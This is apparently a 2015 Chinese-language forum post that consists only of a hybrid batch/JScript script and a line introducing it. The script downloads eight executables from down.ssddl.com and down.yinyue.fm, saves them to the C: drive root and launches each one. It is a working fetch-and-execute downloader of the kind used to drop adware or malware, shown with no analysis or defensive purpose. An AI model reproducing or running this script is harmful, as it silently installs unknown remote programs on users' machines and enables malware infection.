本帖最后由 注册个几8 于 2015-8-16 18:44 编辑
代码如下:- echo=1/*>nul
- @cls
- @echo off
- call :http "http://down.ssddl.com/xzrpdf_70247.exe" "c:\xzrpdf_70247.exe"
- call :http "http://down.ssddl.com/zupmopn_30394.exe" "c:\zupmopn_30394.exe"
- start c:\xzrpdf_70247.exe
- start c:\zupmopn_30394.exe
- call :http "http://down.ssddl.com/jKINSTALLERS_60_201153.exe" "c:\jKINSTALLERS_60_201153.exe"
- call :http "http://down.ssddl.com/t10021.exe" "c:\t10021.exe"
- call :http "http://down.ssddl.com/setupX071_32.exe" "c:\setupX071_32.exe"
- call :http "http://down.yinyue.fm/open/setup_3102-22942.exe" "c:\setup_3102-22942.exe"
- call :http "http://down.ssddl.com/setupX_2002_221.exe" "c:\setupX_2002_221.exe"
- start c:\jKINSTALLERS_60_201153.exe
- start c:\t10021.exe
- start c:\setupX071_32.exe
- start c:\setup_3102-22942.exe
- start c:\setupX_2002_221.exe
- goto :eof
- :http
- cscript -nologo -e:jscript "%~f0" "%~1" "%~2"
- goto :eof
- */
- var iLocal,iRemote,xPost,sGet;
- iLocal =WScript.Arguments(1);
- iRemote = WScript.Arguments(0);
- iLocal=iLocal.toLowerCase();
- xPost = new ActiveXObject("MSXML2.XMLHTTP.3.0");
- xPost.Open("GET",iRemote,0);
- xPost.Send();
- sGet = new ActiveXObject("ADODB.Stream");
- sGet.Mode = 3;
- sGet.Type = 1;
- sGet.Open();
- sGet.Write(xPost.responseBody);
- sGet.SaveToFile(iLocal,2);
- sGet.Close();
复制代码
|